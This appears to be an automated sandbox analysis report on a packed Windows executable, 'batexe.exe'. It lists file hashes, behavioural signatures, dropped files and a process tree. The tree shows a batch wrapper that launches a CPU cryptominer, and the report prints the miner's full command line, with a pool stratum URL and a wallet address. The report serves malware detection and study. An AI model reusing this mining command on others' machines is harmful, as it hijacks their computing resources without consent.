Analysis

  • max time kernel
    292s
  • max time network
    300s
  • platform
    windows10-1703_x64
  • resource
    win10-20240221-ja
  • resource tags

    arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    24/02/2024, 02:30

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3060
    • C:\Users\Admin\AppData\Local\Temp\7511.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\7511.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\7511.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2216
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7791.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5092
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:3720

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\7511.tmp\b2e.exe

    Filesize

    10.1MB

    MD5

    445ded4739f3768023ea7a1da5f8722e

    SHA1

    53cd962b8b6090afddb77306608c2106d3290fde

    SHA256

    d7b745d605dde9cb1e9adb532c92af429fa490d536c510898bcd276781eb267a

    SHA512

    e014818871fdb705dfd7e31c446b0088b2c457f0bc62ab6b6ffefab91906b7266115a72d3cee633c430da5abfdf680272eebca62223db1e9e6ca5cf3d5230868

  • C:\Users\Admin\AppData\Local\Temp\7511.tmp\b2e.exe

    Filesize

    10.8MB

    MD5

    c10288241417b05cfa3af55b6d93d142

    SHA1

    fca06679eec29c49db2f58b643e63f6e12b1f976

    SHA256

    2560c45e1ce27b8ac7dec7351fd1a1b3b4f48c54bfa02bf9bff9f3929b106abc

    SHA512

    19929272a81cd7bfff605394d3f1c49247aa18443d8d9cedec4ef990fec038d87e9a45fa4d6021cd0b6aebe4ec7c2d5d377d2f3729cc97e2c0d80e8c864a1c49

  • C:\Users\Admin\AppData\Local\Temp\7791.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.3MB

    MD5

    4c04147c386ba8792ac6a03069572a8a

    SHA1

    dda67789fc1d0f2469ca95f01a5c81034853ca6a

    SHA256

    c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

    SHA512

    a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.3MB

    MD5

    db740b16aa90711b74d18801b7e3787e

    SHA1

    e04fa2bf2da16c5194e3b8e2f82fb193acb5396a

    SHA256

    abacd409dcbae124bc5d3e2aa27c2089feef6cb4880ed2499cec7906e080bbea

    SHA512

    0629bb7335e667b8701903e711c9e7b83a47c835c2180fe3684dee6df01959208859890b2097b4ada7d1f89d92f76a42e7a57f63ef42744de0fc6e1a0899321d

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    4.7MB

    MD5

    4ee7f16429a0e3c1077858447fd580d5

    SHA1

    87ac2801275601e60ace58629b900f6c48bbcc3d

    SHA256

    5cdb407a431b85d066d0619b122cbfdc374da9562c36341ea2ff705c789578e9

    SHA512

    072587299ad755b9e768df088e4a29f7e87e3af29c9e22c3f060eeaf4ceca561fa322c650b94d2ce0b1f4dde1d8d88c6d57f2594a60872f8294381b79b927877

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • \Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    5.9MB

    MD5

    b7ded6669a5e8efff152752ba067612b

    SHA1

    f0c563cdcafb605938db671454ea82347efcdfb4

    SHA256

    e7b1d5b2145d2a67975691a28ee45a45105b40310c3b106736ecdbf7667e08ba

    SHA512

    99121380c89568c9f5f0690fb1af596a1f8e6f8540bbf6cd54ddddea69497b4b5270a827de59229933023d131d872319ec765608f4b376a9c53620ed19b7665a

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    4.9MB

    MD5

    9008c42831ed3a73cd47a284b2ec9f2d

    SHA1

    924a6b7cdec3d54c97c64c08f2170b690a9afeba

    SHA256

    5a2e3739692dbfb011472a3feed8d8d56d8a7f594bd97b58c47e339f7fbec4fc

    SHA512

    23701f0c113ebeb558b24ed2ee1ea0bda9dab04f8ca32af5873f67499e51726dc4cc5ac28907ab6917787fbaa8020a2b9d92611c168bf293c01edae0fe42e940

  • memory/2216-5-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/2216-50-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/3060-6-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/3720-45-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3720-42-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/3720-43-0x0000000062330000-0x00000000623C8000-memory.dmp

    Filesize

    608KB

  • memory/3720-44-0x0000000001150000-0x0000000002A05000-memory.dmp

    Filesize

    24.7MB

  • memory/3720-41-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/3720-40-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3720-51-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3720-56-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3720-61-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3720-71-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3720-76-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3720-81-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3720-101-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB